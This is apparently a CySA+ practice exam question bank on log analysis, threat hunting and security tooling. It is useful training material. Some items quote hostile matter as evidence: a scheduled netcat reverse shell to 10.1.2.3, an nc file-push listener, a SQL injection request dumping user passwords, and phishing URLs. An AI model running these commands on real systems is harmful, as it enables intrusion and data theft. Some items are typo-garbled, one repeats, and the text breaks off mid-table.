Susan wants to check a Windows system for unusual behavior. Which of the following persistence techniques it not commonly used for legitimate purposes too?

Scheduled tasks

Service replacement

Service creation

Autostart registry keys

Matt is reviewing a query that his team wrote for their threat hunting process. What will the following query warn them about?

select timeInterval(date, '4h'), `data.login.user`,
count(distinct data.login.machine.name) as machinecount from
network-events where data.winevent.EventID = 4624 having
machinecount> 1

Users who log in more than once a day

Users who are logged in to more than one machine within four hours

Users who do not log in for more than four hours

Users who do not log in to more than one machine in four hours

Ben wants to quickly check a suspect binary file for signs of its purpose or other information that it may contain. What Linux tool can quickly show him potentially useful information contained in the file?

grep

more

less

strings

Which of the following is not a limitation of a DNS sinkhole?

They do not work on traffic sent directly to an IP address.

They do not prevent malware from being executed.

They can be bypassed using a hard-coded DNS server.

They cannot block drive-by-download attempts.

Lucas believes that an attacker has successfully compromised his web server. Using the following output of ps, identify the process ID he should focus on.

root       507  0.0  0.1 258268  3288 ?        Ssl  15:52   0:00 /usr/sbin/rsyslogd -n
message+   508  0.0  0.2  44176  5160 ?        Ss   15:52   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activa
root       523  0.0  0.3 281092  6312 ?        Ssl  15:52   0:00 /usr/lib/accountsservice/accounts-daemon
root       524  0.0  0.7 389760 15956 ?        Ssl  15:52   0:00 /usr/sbin/NetworkManager --no-daemon
root       527  0.0  0.1  28432  2992 ?        Ss   15:52   0:00 /lib/systemd/systemd-logind
apache      714  0.0  0.1  27416  2748 ?        Ss   15:52   0:00 /www/temp/webmin
root       617  0.0  0.1  19312  2056 ?        Ss   15:52   0:00 /usr/sbin/irqbalance --pid=/var/run/irqbalance.pid
root       644  0.0  0.1 245472  2444 ?        Sl   15:52   0:01 /usr/sbin/VBoxService
root       653  0.0  0.0  12828  1848 tty1     Ss+  15:52   0:00 /sbin/agetty --noclear tty1 linux
root       661  0.0  0.3 285428  8088 ?        Ssl  15:52   0:00 /usr/lib/policykit-1/polkitd --no-debug
root       663  0.0  0.3 364752  7600 ?        Ssl  15:52   0:00 /usr/sbin/gdm3
root       846  0.0  0.5 285816 10884 ?        Ssl  15:53   0:00 /usr/lib/upower/upowerd
root       867  0.0  0.3 235180  7272 ?        Sl   15:53   0:00 gdm-session-worker [pam/gdm-launch-environment]
Debian-+   877  0.0  0.2  46892  4816 ?        Ss   15:53   0:00 /lib/systemd/systemd --user
Debian-+   878  0.0  0.0  62672  1596 ?        S    15:53   0:00 (sd-pam)

508

617

846

714

What is the Security Content Automation Protocol used for?

Assessing configuration compliance

Testing for sensitive data in transit

Testing for sensitive data at rest

Assessing threat levels

Damian has discovered that systems throughout his organization have been compromised for over a year by an attacker with significant resources and technology. After a month of attempting to fully remove the intrusion, his organization is still finding signs of compromise despite their best efforts. How would Damian best categorize this threat actor?

Criminal

Hacktivist

APT

Unknown

While investigating a compromise, Glenn encounters evidence that a user account has been added to the system he is reviewing. He runs a diff of /etc/shadow and /etc/passwd and sees the following output. What has occurred?

root:$6$XHxtN5iB$5WOyg3gGfzr9QHPLo.7z0XIQIzEW6Q3/
K7iipxG7ue04CmelkjC51SndpOcQlxTHmW4/AKKsKew4f3cb/.BK8/:16828:0:99999:7:::
> daemon:*:16820:0:99999:7:::
> bin:*:16820:0:99999:7:::
> sys:*:16820:0:99999:7:::
> sync:*:16820:0:99999:7:::
> games:*:16820:0:99999:7:::
> man:*:16820:0:99999:7:::
> lp:*:16820:0:99999:7:::
> mail:*:16820:0:99999:7:::
> news:*:16820:0:99999:7:::
> uucp:*:16820:0:99999:7:::
> proxy:*:16820:0:99999:7:::
> www-data:*:16820:0:99999:7:::
> backup:*:16820:0:99999:7:::
> list:*:16820:0:99999:7:::
> irc:*:16820:0:99999:7:::

The root account has been compromised.

An account named daemon has been added.

The shadow password file has been modified.

/etc/shadow and /etc/passwd cannot be diffed to create a useful comparison.

Rick is reviewing flows of a system on his network and discovers the following flow logs. What is the system doing?

ICMP "Echo request"
Date flow start  Duration        Proto        Src IP Addr:Port->Dst IP Addr:Port Packets Bytes Flows
2019-07-11 04:58:59.518   10.000 ICMP  10.1.1.1:0->10.2.2.6:8.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.2.2.6:0->10.1.1.1:0.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.1.1.1:0->10.2.2.7:8.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.2.2.7:0->10.1.1.1:0.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.1.1.1:0->10.2.2.8:8.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.2.2.8:0->10.1.1.1:0.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.1.1.1:0->10.2.2.9:8.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.2.2.9:0->10.1.1.1:0.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.1.1.1:0->10.2.2.10:8.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.2.2.10:0->10.1.1.1:0.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.1.1.1:0->10.2.2.6:11.0    11      924      1
2019-07-11 04:58:59.518   10.000 ICMP  10.2.2.11:0->10.1.1.1:0.0    11      924      1

A port scan

A failed three-way handshake

A ping sweep

A traceroute

Bruce wants to integrate a security system to his SOAR. The security system provides real-time query capabilities, and Bruce wants to take advantage of this to provide up-to-the-moment data for his SOAR tool. What type of integration is best suited to this?

CSV

Flat file

API

Email

Carol wants to analyze email as part of her antispam and antiphishing measures. Which of the following is least likely to show signs of phishing or other email-based attacks?

The email's headers

Embedded links in the email

Attachments to the email

The email signature block

While reviewing NetFlows for a system on her network, Alice discovers the following traffic pattern. What is occurring?

Date flow start   Duration Proto    Src IP Addr:Port->Dst IP Addr:Port   Packets   Bytes Flows
2019-07-11        04:59:32.934  0.000 TCP     10.1.1.1:34543->10.2.2.6:22      160    1
2019-07-11        04:59:39.730  0.000 TCP      10.1.1.1:34544->10.2.2.7:22 160    1
2019-07-11        04:59:46.166  0.000 TCP      10.1.1.1:34545->10.2.2.8:22 160    1
2019-07-11        04:59:52.934  0.000 TCP      10.1.1.1:34546->10.2.2.9:22      160    1
2019-07-11        05:00:06.710  0.000 TCP      10.1.1.1:34547->10.2.2.10:22160    1
2019-07-11        05:00:46.160  0.000 TCP      10.1.1.1:34548->10.2.2.11:22160    1
2019-07-11        05:01:32.834  0.000 TCP      10.1.1.1:34549->10.2.2.12:22     160    1
2019-07-11        05:01:39.430  0.000 TCP      10.1.1.1:34550->10.2.2.13:22160    1
2019-07-11        05:01:46.676  0.000 TCP      10.1.1.1:34551->10.2.2.14:22160    1

A telnet scan

An SSH scan

An SSH scan with unsuccessful connection attempts

An SFTP scan with unsuccessful connection attempts

Ric is working on reverse-engineering a malware sample and wants to run the binary but also control the execution as it occurs. What type of tool should he select for this?

A disassembler

A decompiler

A debugger

An unpacker

Jennifer wants to search for terms including “CySA+” and all other variations of the text regardless of which letters may be capitalized. Which of the following commands will find all the terms that match what she is searching for in a text file named example.txt?

grep -i cysa+ example.txt

grep -uc CySA+ example.txt

grep -case cysa+ example.txt

grep example.txt cysa+

Juliette wants to decrease the risk of embedded links in email. Which of the following solutions is the most common method for doing this?

Removing all links in email

Redirecting links in email to a proxy

Scanning all email using an antimalware tool

Using a DNS blackhole and IP reputation list

James wants to use an automated malware signature creation tool. What type of environment do tools like this unpack and run the malware in?

A sandbox

A physical machine

A container

A DMARC

While tracking a potential APT on her network, Cynthia discovers a network flow for her company's central file server. What does this flow entry most likely show if 10.2.2.3 is not a system on her network?

Date flow start        Duration Proto    Src IP Addr:Port    Dst IP
Addr:Port  Packets     Bytes    Flows
2019-07-11 13:06:46.343 21601804    TCP      10.1.1.1:1151->10.2.2.3:443 9473640     9.1 G      1
2019-07-11 13:06:46.551 21601804    TCP      10.2.2.3:443->10.1.1.1:11518345101      514 M      1

A web browsing session

Data exfiltration

Data infiltration

A vulnerability scan

Luis discovers the following entries in /var/log/auth.log. What is most likely occurring?

Aug 6 14:13:00 demo sshd[5279]: Failed password for root from 10.11.34.11 port 38460 ssh2
Aug 6 14:13:00 demo sshd[5275]: Failed password for root from 10.11.34.11 port 38452 ssh2
Aug 6 14:13:00 demo sshd[5284]: Failed password for root from 10.11.34.11 port 38474 ssh2
Aug 6 14:13:00 demo sshd[5272]: Failed password for root from 10.11.34.11 port 38446 ssh2
Aug 6 14:13:00 demo sshd[5276]: Failed password for root from 10.11.34.11 port 38454 ssh2
Aug 6 14:13:00 demo sshd[5273]: Failed password for root from 10.11.34.11 port 38448 ssh2
Aug 6 14:13:00 demo sshd[5271]: Failed password for root from 10.11.34.11 port 38444 ssh2
Aug 6 14:13:00 demo sshd[5280]: Failed password for root from 10.11.34.11 port 38463 ssh2
Aug 6 14:13:01 demo sshd[5302]: Failed password for root from 10.11.34.11 port 38478 ssh2
Aug 6 14:13:01 demo sshd[5301]: Failed password for root from 10.11.34.11 port 38476 ssh2

A user has forgotten their password

A brute-force attack against the root account

A misconfigured service

A denial-of-service attack against the root account

Singh wants to prevent remote login attacks against the root account on a Linux system. What method will stop attacks like this while allowing normal users to use SSH?

Add an iptables rule blocking root logins

Add root to the sudoers group

Change sshd_config to deny root login

Add a network IPS rule to block root logins

Azra's network firewall denies all inbound traffic but allows all outbound traffic. While investigating a Windows workstation, she encounters a script that runs the following command.

at \\workstation10 20:30 every:F nc -nv 10.1.2.3 443 -e cmd.exe

What does it do?

It opens a reverse shell for host 10.1.2.3 using netcat every Friday at 8:30.

It uses the AT command to dial a remote host via NetBIOS.

It creates an HTTPS session to 10.1.2.3 every Friday at 8:30.

It creates a VPN connection to 10.1.2.3 every five days at 8:30 GST.

While reviewing the auth.log file on a Linux system she is responsible for, Tiffany discovers the following log entries:

Aug 6 14:13:06 demo sshd[5273]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=127.0.0.1 user=root
Aug 6 14:13:06 demo sshd[5273]: PAM service(sshd) ignoring max retries; 6> 3
Aug 6 14:13:07 demo sshd[5280]: Failed password for root from 127.0.0.1 port 38463 ssh2
Aug 6 14:13:07 demo sshd[5280]: error: maximum authentication attempts exceeded for root from 127.0.0.1 port 38463 ssh2 [preauth]
Aug 6 14:13:07 demo sshd[5280]: Disconnecting: Too many authentication failures [preauth]

Which of the following has not occurred?

A user has attempted to reauthenticate too many times.

PAM is configured for three retries and will reject any additional retries in the same session.

Fail2ban has blocked the SSH login attempts.

Root is attempting to log in via SSH from the local host.

Fred has been tasked with configuring his organization's NAC rules to ensure that employees only have access that matches their job functions. Which of the following NAC criteria are least suited to filtering based on a user's job?

Time-based

Rule-based

Role-based

Location-based

Naomi wants to analyze malware by running it and capturing what it does. What type of tool should she use?

A containerization tool

A virtualization tool

A sandbox tool

A packet analyzer

While reviewing logs from users with root privileges on an administrative jump box, Alex discovers the following suspicious command:

nc -l -p 43501 < example.zip

What happened?

The user set up a reverse shell running as example.zip.

The user set up netcat as a listener to push example.zip.

The user set up a remote shell running as example.zip.

The user set up netcat to receive example.zip.

Susan is hunting threats and performs the following query against her database of event lots. What type of threat is she looking for?

Select source.name, destination.name, count(*) from network-events, where destination.port = '3389'

SSH

MySQL

RDP

IRC

At what point in a continuous integration (CI)/continuous delivery (CD) pipeline should security testing be performed?

After code is checked into the repository

After code is deployed into an automated test environment

After the code is deployed into production

All of the above

Lukas wants to prevent users from running a popular game on Windows workstations he is responsible for. How can Lukas accomplish this for Windows 10 Pro workstations?

Using application whitelisting to prevent all prohibited programs from running

Using Windows Defender and adding the game to the blacklist file

Listing it in the Blocked Programs list via secpol.msc

You cannot blacklist applications in Windows 10 without a third-party application

While reviewing his Apache logs, Oscar discovers the following entry. What has occurred?

10.1.1.1 - - [27/Jun/2019:11:42:22 -0500] "GET
/query.php?searchterm=stuff&%20lid=1%20UNION%20SELECT%200,
username,user_id,password,name,%20email,%20FROM%20users
HTTP/1.1" 200 9918 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

A successful database query

A php overflow attack

A SQL injection attack

An unsuccessful database query

Jason wants to reverse-engineer a malware package. Which of the following tools should he use if he wants to do behavior-based analysis of a worm?

A disassembler

A network analyzer

A PE viewer

A debugger

What will a search using the following command do?

 grep -n -i -v mike *

List all the lines where the word Mike shows up, regardless of case in all files in the current directory

Search all files with the word mike in the filename for lowercase words

Search a file named mike for all uppercase words

List all the lines where the word Mike does not show up, regardless of case, in all files in the current directory

Ian lists the permissions for a Linux file that he believes may have been modified by an attacker. What do the permissions shown here mean?

-rwxrw-r&—1 chuck admingroup 1232 Feb 28 16:22 myfile.txt

User chuck has read and write rights to the file; the administrators group has read, write, and execute rights; and all other users only have read rights.

User admingroup has read rights; group chuck has read and write rights; and all users on the system can read, write, and execute the file.

User chuck has read, write, and execute rights on the file. Members of admingroup group can read and write to the file but cannot execute it, and all users on the system can read the file.

User admingroup has read, write, and execute rights on the file; user chuck has read and write rights; and all other users have read rights to the file.

While reviewing web server logs, Danielle notices the following entry. What occurred?

10.11.210.6 - GET /wordpress/wp-admin/theme-editor.php?file=404.php&theme= total 200

A theme was changed

A file was not found

An attempt to edit the 404 page

The 404 page was displayed

Melissa wants to deploy a tool to coordinate information from a wide range of platforms so that she can see it in a central location and then automate responses as part of security workflows. What type of tool should she deploy?

UEBA

SOAR

SIEM

MDR

While attempting to stop a rogue service, Monica issues the following Linux command on an Ubuntu system using upstart:

service rogueservice stop

After a reboot, she discovers the service running again. What happened, and what does she need to do to prevent this?

The service restarted at reboot, so she needs to include the -p, or permanent, flag.

The service restarted itself, so she needs to delete the binary associated with the service.

The service restarted at reboot, so she should add an .override file to stop the service from starting.

A malicious user restarted the service, so she needs to ensure users cannot restart services.

Why might Mark choose to implement an IPS instead of an IDS?

The IPS can detect attacks that an IDS cannot.

The IPS can block attacks in addition to reporting them.

The IPS can use heuristic analysis.

The IPS can use signature-based analysis.

While reviewing the Wireshark packet capture shown here, Ryan notes an extended session using the ESP protocol. When he clicks on the packets, he is unable to make sense of the content. What should Ryan look for on the workstation with IP address 10.0.0.1 if he investigates it in person?

An encrypted RAT

A VPN application

A secure web browser

A base64 encoded packet transfer utility

Bohai uses the following command while investigating a Windows workstation used by his organization's vice president of Finance, who only works during normal business hours. Bohai believes that the workstation has been used without permission by members of his organization's cleaning staff after hours. What does he know if the userID shown is the only userID able to log in to the system, and he is investigating on August 12, 2019?

C:\Users\bigfish>wmic netlogin get name,lastlogon,badpasswordcount
BadPasswordCount  LastLogon                 Name
                                            NT AUTHORITY\SYSTEM
0        20190811203748.000000-240  Finance\bigfish

The account has been compromised.

No logins have occurred.

The last login was during business hours.

Bohai cannot make any determinations from this information.

After a series of compromised accounts led to her domain being blacklisted, Wang has been asked to restore her company's email as quickly as possible. Which of the following options is not a valid way to allow her company to send email successfully?

Migrate her company's SMTP servers to new IP addresses.

Migrate to a cloud email hosting provider.

Change SMTP headers to prevent blacklisting.

Work with the blacklisting organizations to get removed from the list.

While reviewing indicators of compromise, Dustin notices that notepad.exe has opened a listener port on the Windows machine he is investigating. What is this an example of?

Anomalous behavior

Heuristic behavior

Entity behavior

Known-good behavior

While tracking a potential APT on her network, Cynthia discovers a network flow for her company's central file server. What does this flow entry most likely show if 10.2.2.3 is not a system on her network?

Date flow start        Duration Proto    Src IP Addr:Port    Dst IP
Addr:Port  Packets     Bytes    Flows
2019-07-11 13:06:46.343 21601804    TCP      10.1.1.1:1151->10.2.2.3:443 9473640     9.1 G      1
2019-07-11 13:06:46.551 21601804    TCP      10.2.2.3:443->10.1.1.1:11518345101      514 M      1

A web browsing session

Data exfiltration

Data infiltration

A vulnerability scan

How does data enrichment differ from threat feed combination?

Data enrichment is a form of threat feed combination for security insights, focuses on adding more threat feeds together for a full picture, and removes third-party data to focus on core data elements rather than adding together multiple data sources.

Data enrichment uses events and nonevent information to improve security insights, instead of just combining threat information.

Threat feed combination is more useful than data enrichment because of its focus on only the threats.

Threat feed combination techniques are mature, and data enrichment is not ready for enterprise use.

Isaac wants to prevent hosts from connecting to known malware distribution domains. What type of solution can he use to do this without deploying endpoint protection software or an IPS?

Route poisoning

Antimalware router filters

Subdomain whitelisting

DNS blackholing

Lucca wants to prevent workstations on his network from attacking each other. If Lucca's corporate network looks like the network shown here, what technology should he select to prevent laptop A from being able to attack workstation B?

An IPS

An IDS

A HIPS

A HIDS

Attackers have been attempting to log in to Alaina's Cisco routers, causing thousands of log entries, and she is worried they may eventually succeed. Which of the following options should she recommend to resolve this issue?

Prevent console login via SSH

Implement a login-block feature with back-off settings

Move the administrative interface to a protected network

Disable console access entirely

The NetFlow collector that Sam's security team uses is capable of handling 1 gigabit of traffic per second. As Sam's organization has grown, it has increased its external network connection to a 2 gigabit per second external link and has begun to approach full utilization at various times during the day. If Sam's team does not have new budget money to purchase a more capable collector, what option can Sam use to still collect useful data?

Enable QoS

Enable NetFlow compression

Enable sampling

None of the above

Every year, Alice downloads and reads a security industry published list of all the types of attacks, compromises, and malware events that have occurred, which are becoming more prevalent, and which are decreasing in occurrence. What type of analysis can she perform using this information?

Anomaly

Trend

Heuristic

Availability

Which of the following capabilities is not a typical part of a SIEM system?

Alerting

Performance management

Data aggregation

Log retention

Kathleen wants to verify on a regular basis that a file has not changed on the system that she is responsible for. Which of the following methods is best suited to this?

Use sha1sum to generate a hash for the file and write a script to check it periodically

Install and use Tripwire

Periodically check the MAC information for the file using a script

Encrypt the file and keep the key secret so the file cannot be modified

Maria wants to deploy an antimalware tool to detect zero-day malware. What type of detection method should she look for in her selected tool?

Signature-based

Heuristic-based

Trend-based

Availability-based

Alaina has configured her SOAR system to detect irregularities in geographical information for logins to her organization's administrative systems. The system alarms, noting that an administrator has logged in from a location that they do not typically log in from. What other information would be most useful to correlate with this to determine if the login is a threat?

Anomalies in privileged account usage

Time-based login information

A mobile device profile change

DNS request anomalies

Miguel works for a company that has a network security standard requiring the collection and storage of NetFlow logs from all datacenter networks. Miguel is working to commission a new datacenter network but, due to technical constraints, will be unable to collect NetFlow logs for the first six months of operation. Which one of the following data sources is best suited to serve as a compensating control for the lack of NetFlow information?

Router logs

Firewall logs

Switch logs

IPS logs

Megan wants to check memory utilization on a Macintosh system. What Apple tool can she use to do this?

Activity Monitor

MemControl

Run memstat from the command line

Run memctl from the command line

Which one of the following components is not normally part of an endpoint security suite?

IPS

Firewall

Antimalware

VPN

Joan is working as a security consultant to a company that runs a critical web application. She discovered that the application has a serious SQL injection vulnerability but the company cannot take the system offline during the two weeks required to revise the code. Which one of the following technologies would serve as the best compensating control?

IPS

WAF

Vulnerability scanning

Encryption

Questions 133–136 refer to the following scenario and image.

Bill is reviewing the authentication logs for a Linux system that he operates and encounters the following log entries:

Aug 30 09:46:54 ip-172-30-0-62 sshd[3051]: Accepted publickey for ec2-user from 10.174.238.88 port 57478 ssh2: RSA e5:f5:c1:46:bb:49:a1:43:da:9d:50:c5:37:bd:79:22
Aug 30 09:46:54 ip-172-30-0-62 ssh[3051]: pam_unix[sshd:session]: session opened for user ec2-user by (uid=0)
Aug 30 09:48:06 ip-172-30-0-62 sudo: ec2-user : TTY=ps/0 ; PWD=/home/ec2-user ; USER=root; COMMAND=/bin/bash

What is the IP address of the system where the user was logged in when they initiated the connection?

172.30.0.62

62.0.30.172

10.174.238.88

9.48.6.0

What service did the user use to connect to the server?

HTTPS

PTS

SSH

Telnet

What authentication technique did the user use to connect to the server?

Password

PKI

Token

Biometric

What account did the individual use to connect to the server?

root

ec2-user

bash

pam_unix

Lucca wants to identify systems that may have been compromised and are being used for data exfiltration. Which of the following technologies should he put into place to capture data that he can analyze using his SIEM to find this behavior?

A firewall

A NetFlow collector

A honeypot

A BGP monitor

Fred believes that the malware he is tracking uses a fast flux network and multiple download hosts. How many distinct hosts should he review based on the NetFlow shown here?

Date flow start    Duration Proto    Src IP Addr:Port    Dst IP Addr:Port  Packets Bytes   Flows
2019-07-11 14:39:30.606 0.448    TCP      192.168.2.1:1451->10.2.3.1:443     10      1510    1
2019-07-11 14:39:30.826 0.448    TCP      10.2.3.1:443->192.168.2.1:1451     7       360     1
2019-07-11 14:45:32.495 18.492   TCP      10.6.2.4:443->192.168.2.1:1496    5     1107    1
2019-07-11 14:45:32.255 18.888   TCP      192.168.2.1:1496->10.6.2.4:443    11  1840    1
2019-07-11 14:46:54.983 0.000    TCP      192.168.2.1:1496->10.6.2.4:443     1       49      1
2008-12-09 16:45:34.764 0.362    TCP      10.6.2.4:443->192.168.2.1:4292      4       1392    1
2008-12-09 16:45:37.516 0.676    TCP      192.168.2.1:4292->10.6.2.4:443     4       462     1
2008-12-09 16:46:38.028 0.000    TCP      192.168.2.1:4292->10.6.2.4:443     2       89      1
2019-07-11 14:45:23.811 0.454    TCP      192.168.2.1:1515->10.6.2.5:443     4       263     1
2019-07-11 14:45:28.879 1.638    TCP      192.168.2.1:1505->10.6.2.5:443    18      2932    1
2019-07-11 14:45:29.087 2.288    TCP      10.6.2.5:443->192.168.2.1:1505    37    48125   1
2019-07-11 14:45:54.027 0.224    TCP      10.6.2.5:443->192.168.2.1:1515     2      1256    1
2019-07-11 14:45:58.551 4.328    TCP      192.168.2.1:1525->10.6.2.5:443    10      648     1
2019-07-11 14:45:58.759 0.920    TCP      10.6.2.5:443->192.168.2.1:1525   12     15792   1
2019-07-11 14:46:32.227 14.796   TCP      192.168.2.1:1525->10.8.2.5:443    31      1700    1
2019-07-11 14:46:52.983 0.000    TCP      192.168.2.1:1505->10.8.2.5:443     1       40      1

1

3

4

5

Fiona is considering a scenario in which components that her organization uses in their software that come from public GitHub repositories are trojaned. What should she do first to form the basis of her proactive threat hunting effort?

Search for examples of a similar scenario

Validate the software currently in use from the repositories

Form a hypothesis

Analyze the tools available for this type of attack

Jason is profiling a threat actor using STIX 2.0 and can choose among the following labels.

Individual

Club

Contest

Team

Organization

Government

What is he identifying?

Affiliation

Attack resource level

Certification level

Threat name

Tracy has reviewed the CrowdStrike writeup for an APT group known as HELIX KITTEN, which notes that the group is known for creating “thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel.” What types of defenses are most likely to help if she identifies HELIX KITTEN as a threat actor of concern for her organization?

DKIM

An awareness campaign

Blocking all email from unknown senders

SPF

Micah wants to use the data he has collected to help with his threat hunting practice. What type of approach is best suited to using large volumes of log and analytical data?

Hypothesis-driven investigation

Investigation based on indicators of compromise

Investigation based on indications of attack

AI/ML-based investigation

Dani wants to analyze a malware package that calls home. What should she consider before allowing the malware to “phone home”?

Whether the malware may change behavior

Whether the host IP or subnet may become a target for further attacks

Attacks may be staged by the malware against other hosts

All of the above

After conducting an nmap scan of his network from outside of his network, James notes that a large number of devices are showing three TCP ports open on public IP addresses: 9100, 515, and 631. What type of devices has he found, and how could he reduce his organization's attack surface?

Wireless access points, disable remote administration

Desktop workstations, enable the host firewall

Printers, move the printers to an internal only IP range

Network switches, enable encrypted administration mode

As part of her threat-hunting activities, Olivia bundles her critical assets into groups. Why would she choose to do this?

To increase complexity of analysis

To leverage similarity of threat profiles

To mix sensitivity levels

To provide a consistent baseline for threats

Unusual outbound network traffic, abnormal HTML response sizes, DNS request anomalies, and mis-matched ports for application traffic are all examples of what?

Threat hunting

SCAP

Indicators of compromise

Continuous threat feeds

Alex is working to understand his organization's attack surface. Services, input fields in a web application, and communication protocols are all examples of what component of an attack surface evaluation?

Threats

Attack vectors

Risks

Surface tension

Jiang wants to combine TAXII feeds with his own threat analysis information. What standard can he use to ensure that his data works across multiple systems without needing to be converted?

SAML

XHTML

STIX

YELLOW

Naomi wants to improve the detection capabilities for her security environment. A major concern for her company is detection of insider threats. What type of technology can she deploy to help with this type of proactive threat detection?

IDS

UEBA

SOAR

SIEM

Ling wants to use her SOAR platform to handle phishing attacks more effectively. What elements of potential phishing emails should she collect as part of her automation and workflow process to triage and assign severity indicators?

Subject lines

Email sender addresses

Attachments

All of the above

Isaac wants to write a script to query the BotScout forum bot blacklisting service. What data should he use to query the service based on the following image?

Email address

Name

IP address

Date

Syslog, APIs, email, STIX/TAXII, and database connections are all examples of what for a SOAR?

IOCs

Methods of data ingestion

SCAP connections

Attack vectors

Talos provides the BASS automated signature synthesizer tool due to modern challenges with malware. What major problem drives increasing use of automated malware signature creation tools?

More complex malware

Huge numbers of new malware signatures

Hash-based signatures take too long to create manually

Sandboxing is no longer effective

Yaan uses multiple data sources in his security environment, adding contextual information about users from Active Directory, geolocation data, multiple threat data feeds, as well as information from other sources to improve his understanding of the security environment. What term describes this process?

Data drift

Threat collection

Threat centralization

Data enrichment

When a DLP system is monitoring copy/paste, data displayed on a screen or captured from the screen, printing, and similar activities, what term describes the data's state?

Data at rest

Data in motion

Data in use

Data execution

Mila is reviewing feed data from the MISP open source threat intelligence tool and sees the following entry:

"Unit 42 has discovered a new malware family we've named
"Reaver" with ties to attackers who use SunOrcal malware.
SunOrcal activity has been documented to at least 2013, and
based on metadata surrounding some of the C2s, may have been
active as early as 2010. The new family appears to have been in
the wild since late 2016 and to date we have only identified 10
unique samples, indicating it may be sparingly used. Reaver is
also somewhat unique in the fact that its final payload is in
the form of a Control panel item, or CPL file. To date, only
0.006% of all malware seen by Palo Alto Networks employs this
technique, indicating that it is in fact fairly rare.", "Tag":
[{"colour": "#00223b", "exportable": true, "name":
"osint:source-type=\"blog-post\""}], "disable_correlation":
false, "object_relation": null, "type": "comment"}, {"comment":
"", "category": "Persistence mechanism", "uuid": "5a0a9d47-  1c7c-4353-8523-440b950d210f", "timestamp": "1510922426",
"to_ids": false, "value": "%COMMONPROGRAMFILES%\\services\\",
"disable_correlation": false, "object_relation": null, "type":
"regkey"}, {"comment": "", "category": "Persistence mechanism",
"uuid": "5a0a9d47-808c-4833-b739-43bf950d210f", "timestamp":
"1510922426", "to_ids": false, "value":
"%APPDATA%\\microsoft\\mmc\\", "disable_correlation": false,
"object_relation": null, "type": "regkey"}, {"comment": "",
"category": "Persistence mechanism", "uuid": "5a0a9d47-91e0-
4fea-8a8d-48ce950d210f", "timestamp": "1510922426", "to_ids":
false, "value":
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\
Shell Folders\\Common Startup"

How does the Reaver malware maintain persistence?

A blog post

Inserts itself into the Registry

Installs itself as a runonce key

Requests user permission to start up

Isaac's organization has deployed a security tool that learns how network users typically behave and then searches for differences that match attack behaviors. What type of system can automatically analyze this data to build detection capability like this?

Signature-based analysis

A Babbage machine

Machine learning

Artificial network analysis

What is the advantage of a SOAR system over a traditional SIEM system?

SOAR systems are less complex to manage.

SOAR systems handle large log volumes better using machine learning.

SOAR systems integrate a wider range of internal and external systems.

SOAR logs are transmitted only over secure protocols.

What protocol does the U.S. government use to represent the data stored in the National Vulnerability Database?

STIX

CVSS

SCAP

CPE

Brian is on the development team that his company has tasked with maintaining their organization's web application. He and his coworkers check code in multiple times a day, and the code is then verified and tested automatically. What is this practice called?

Continuous delivery

Repo-stuffing

Continuous integration

Time coding

Fiona has continued her threat hunting efforts, and has formed a number of hypotheses. What key issue should she consider when she reviews them?

The number of hypotheses

Her own natural biases

Whether they are strategic or operational

If the attackers know about them

Mila is categorizing an actor using STIX 2.0 and wants to describe an actor that is responsible for APT-level attacks. What STIX threat actor sophistical level best fits this type of actor?

Intermediate

Advanced

Expert

Strategic

Christina wants to describe a threat actor's motivations, abilities, capabilities, and responses. What open standard markup language can she use to do this?

TAXII

OAuth

STIX

STONES

Alaina adds the openphish URL list to her SOAR tool and sees the following entries:

http://13.126.65.8/DocExaDemo/uploads/index.php/bofa/bofa/95843de35406f3cab0b2dcf2b/success.htm
http://13.126.65.8/DocExaDemo/uploads/index.php/bofa/bofa/9b094075409d3a723c7ee3d9e/sitekey.php
http://13.126.65.8/DocExaDemo/uploads/index.php/bofa/bofa/9b094075409d3a723c7ee3d9e/success.htm
http://13.126.65.8/DocExaDemo/uploads/index.php/bofa/bofa/9b094075409d3a723c7ee3d9e/
http://13.126.65.8/DocExaDemo/uploads/index.php/bofa/bofa/95843de35406f3cab0b2dcf2b/
http://13.126.65.8/DocExaDemo/uploads/index.php/bofa/bofa/95843de35406f3cab0b2dcf2b/sitekey.php

What action should she take based on phishing URLs like these?

Block the IP address at her border firewall

Monitor for the IP address using her IDS

Delete emails with the URL from inbound email

Nothing, as these have not been confirmed

Rowan wants to block drive-by-downloads and bot command and control channels while redirecting potentially impacted systems to a warning message. What should she implement to do this?

A DNS sinkhole

A WAF

An IDS

A UEBA

What type of malware technique hides its command and control servers within a large number of possible suspects?

Polymorphic domain malware

Domain generation algorithms

Hostname multipliers

ICA spoofers

Alex configured a Snort rule that reads:

alert tcp any any -> any 22 (mst: "Detected!&rdquo;; sid 10000004;)

What will Alex's rule typically detect?

FTP traffic

Telnet traffic

SMTP traffic

SSH traffic

Michelle wants to implement a static analysis security testing (SAST) tool into her continuous integration pipeline. What challenge could she run into if her organization uses multiple programming languages for components of their application stack that will be tested?

They will have to ensure the scanner works with all of the languages chosen.

They will have to compile all of the code to the same binary output language.

They will have to run the applications in a sandbox.

They will have to run the applications under the same execution environment.

Nina configures her IPS to detect and stop attacks based on signatures. What type of attacks will she block?

New attacks based on behavior

Previously documented attacks that match the signatures

Previously documented attacks and similar attacks based on the signatures

All of the above

Nathan wants to determine which systems are sending the most traffic on his network. What low overhead data gathering methodology can he use to view traffic sources, destinations, and quantities?

A network sniffer to view all traffic

Implement NetFlow

Implement SDWAN

Implement a network tap

Use the following table and rating information for questions 171–173.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) uses a 1–100 scale for incident prioritization, with weight assigned to each of a number of categories. The functional impact score is weighted in their demonstration as follows:

Functional impact | Rating
